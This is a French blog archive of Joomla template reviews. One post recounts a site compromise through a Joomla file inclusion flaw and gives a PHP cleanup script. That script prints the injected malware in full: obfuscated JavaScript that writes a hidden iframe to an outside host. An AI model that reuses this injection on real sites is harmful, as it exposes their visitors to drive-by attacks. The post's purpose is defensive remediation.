Les themes Joomla de Juillet

Tags , , , ,
2 juillet 2008 par Yohann CIURLIK

Voici 3 nouveaux thèmes payant (mais peu couteux) pour Joomla. Toujours plus beaux chaque mois.

TemplatePlazza

Un thème très original qui met en avant le menu horizontal assez imposant. Un thème assez web 2.0 conçu pour les projets récents.

image

YooTheme

Une forte ressemblance avec le thème Evolution pour Wordpress. Un thème magnifique une fois de plus signé Yootheme.

image

Rocket Theme

Un thème journal dans les ton bleus dont les boîtes d’informations s’agencent comme sur le portail Netvibes.

image

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

Les 3 thèmes Joomla de Juin

Tags , , ,
2 juin 2008 par Yohann CIURLIK

Voici 3 magnifiques thèmes pour Joomla. Ce sont les 3 thèmes de Juin. Payants mais tellement beaux!

TemplatePlazza

Un thème orienté vers l’immobilier. Thème de saison avec la sortie du site Immobilio.

Yootheme

yootheme

Un thème plutôt sombre mais qui reste dans la lignée des excellents thèmes Yootheme.

Rocket Theme

High-Tech et fonctionnalités puissante pour une présentation parfaite. Les effets sont superbes !

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

Faille de sécurité sur mon blog

Tags , , , ,
2 juin 2008 par Yohann CIURLIK

Durant une partie de la journée, mon blog est devenu inaccessible. La raison étant qu’un vilain petit hacker s’est amusé à pourrir mon site. En réalité, ce n’est pas une personne mais un script qui parcours le net à la recherche de potentielles failles de sécurité sur les sites.

virussafe

Mais que s’est-il passé ?

Même si mon blog fonctionne sous Wordpress pour des raisons de conforts, la racine de mon site est basé sur le CMS Joomla. Je n’utilise plus ou très peu ce dernier et cela faisait longtemps que je n’avais pas mis à jour sa version (passage de 1.0.12 à 1.0.15). J’ai donc découvert une faille d’inclusion de fichiers distant dans la variable mosConfig_absolute_path. Un exploit bien simple mais très ennuyeux car le hacker peut exécuter n’importe quel code PHP sur votre site.

Résultats

Le hacker en à profiter pour modifier tous mes fichiers PHP (1822 au total) pour y inclure un script qui s’exécute sur la machine cliente. Ne craignez rien, j’ai supprimé le code qui était bloqué par votre antivirus dans tous les cas.

J’ai donc utilisé un script maison pour remédier au problème et supprimer le code malicieux de mes fichiers sources. Le code source est le suivant (à utiliser à vos risques et périls sur votre serveur) :

  1. <?php
  2. //passer à true pour afficher les détails des fichiers
  3. $show_details = false;
  4. //passer à TRUE pour effectuer le nettoyage
  5. $process = true;
  6.  
  7. //ecrit dans le fichier n les données d
  8. function file_put_cont($n, $d) {
  9.     $f = @fopen($n, ‘w’);
  10.     if ($f === false) {
  11.         echo "Impossible d’ouvrir le fichier ".$n;
  12.     } else {
  13.         if (is_array($d)) $d = implode($d);
  14.         $bytes_written = fwrite($f, $d);
  15.         fclose($f);
  16.         return $bytes_written;
  17.     }
  18. }
  19.  
  20. //scan les répertoires récursivement
  21. //retourne un tableau contenant les fichiers php
  22. function searchdir ( $path = "." , $maxdepth = -1 , $mode = "FILES" , $d = 0 ){
  23.    if ( substr ( $path , strlen ( $path ) - 1 ) != ‘/’ ) { $path .= ‘/’ ; }    
  24.    $dirlist = array () ;
  25.    if ( $mode != "FILES" ) { $dirlist[] = $path ; }
  26.    if ( $handle = opendir ( $path ) ){
  27.        while ( false !== ( $file = readdir ( $handle ) ) ){
  28.            if ( $file != ‘.’ && $file != ‘..’ ){
  29.                $file = $path . $file ;
  30.                if ( ! is_dir ( $file ) ) {
  31.                                         if ( $mode != "DIRS" ) {
  32.                                                 $file_part = pathinfo($file);
  33.                                                 if($file_part[‘extension’] == "php" || $file_part[‘extension’] == "PHP") {
  34.                                                         $dirlist[] = $file ;
  35.                                                 }
  36.                                         }
  37.                            }
  38.                elseif ( $d >=0 && ($d < $maxdepth || $maxdepth < 0) ){
  39.                    $result = searchdir ( $file . ‘/’ , $maxdepth , $mode , $d + 1 ) ;
  40.                    $dirlist = array_merge ( $dirlist , $result ) ;
  41.                }
  42.        }
  43.        }
  44.        closedir ( $handle ) ;
  45.    }
  46.    if ( $d == 0 ) { natcasesort ( $dirlist ) ; }
  47.    return ( $dirlist ) ;
  48. }
  49.  
  50. //scan le tableau de fichier a la recherche de la chaine $token
  51. //retourne un tableau composé des fichiers qui contenait la chaine $token
  52. function searchstring($file_array , $token, $process) {
  53.         $dirlist = array () ;
  54.         for($i=0;$i<count($file_array);$i++){
  55.                 $cur_file = $file_array[$i];
  56.                 $cur_content_file = @file_get_contents($cur_file);
  57.                 if(stripos($cur_content_file,$token)!==false) {
  58.                         //ajout des fichiers au tableau
  59.                         $dirlist[] = $cur_file;
  60.                         //suppression de la chaine
  61.                         $new_content = str_replace($token, "", $cur_content_file);
  62.                         if($process == true){
  63.                                 $var = file_put_cont($cur_file, $new_content);
  64.                                 if($var != false) {
  65.                                         if($show_details) {
  66.                                                 echo $var." octets ecrits dans ".$cur_file;
  67.                                         }
  68.                                 }
  69.                         } else {
  70.                                 echo ‘File : ‘.$cur_file.‘<br/>’;
  71.                         }
  72.                 }
  73.         }
  74.         return ( $dirlist ) ;
  75. }
  76. echo ‘<h2>Nettoyage des fichiers PHP</h2>’;
  77. //scan les repertoires et recherche les fichiers php
  78. $arbo = searchdir(".");
  79. echo "Fichiers de l’arborescence : <br/>";
  80. if($show_details==true) {
  81.         for($i=0;$i<count($arbo);$i++){
  82.                 echo ‘File : ‘.$arbo[$i].‘<br/>’;
  83.         }
  84. } else {
  85.         echo count($arbo)." fichiers.<br/>";
  86. }
  87.  
  88. $token = ‘<?php echo \’<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\”ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\”ykfvj?3\”jgkijv?3\”htcogdqtfgt?2@"));</script>\’;?>’;
  89. echo "Chaine à rechercher : ".$token."<br/><br/>";
  90.  
  91. //scan les fichiers trouvés afin de trouver la chaine incréminée
  92. echo "Fichiers infectés : <br/>";
  93. $arbo = searchstring($arbo, $token, $process);
  94.  
  95. echo count($arbo)." fichiers modifiés !<br/>";
  96.  
  97. if($process == true)
  98.         echo "Opération terminée !<br/>";
  99. else echo "Mettre process à TRUE pour effectuer l’opération !<br/>";
  100. ?>

Le fichier liste les fichiers php de votre serveur, vérifie et supprime la chaine $token contenue des fichiers sources.
Conclusion

Mettez toujours à jour vos applications et effectuez des sauvegardes régulières, c’est vital !

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

Générateur de template Joomla

Tags , , ,
2 mai 2008 par Yohann CIURLIK

Il est maintenant possible de créer son template Joomla en ligne via Joomla Template Builder.

Joomla template builder

Vous choisissez les couleurs, les dispositions, les titres et le template est automatiquement généré. Le système est encore en développement mais semble bien prometteur.

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

Le theme Joomla du mois d’Avril

Tags , ,
1 avril 2008 par Yohann CIURLIK

Je n’ai qu’un mot pour décrire le thème Yootheme d’Avril : Ma-gni-fi-que !
Yootheme propose des thèmes payant à ces membres mais pour 39€ vous pouvez choisir un theme parmis tous leurs themes puis parmis les 3 prochains. Celui de ce mois-ci vaut le coup.
Le thème est disponible sous 5 couleurs/angles différents. La démo vous permet de tester les différentes couleurs.
Yootheme Avril
Si vous avez le temps, pensez à visiter la démo de RocketTheme pour admirer le fabuleux plugin de sélection de la couleur du thème.

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !


sideBarQA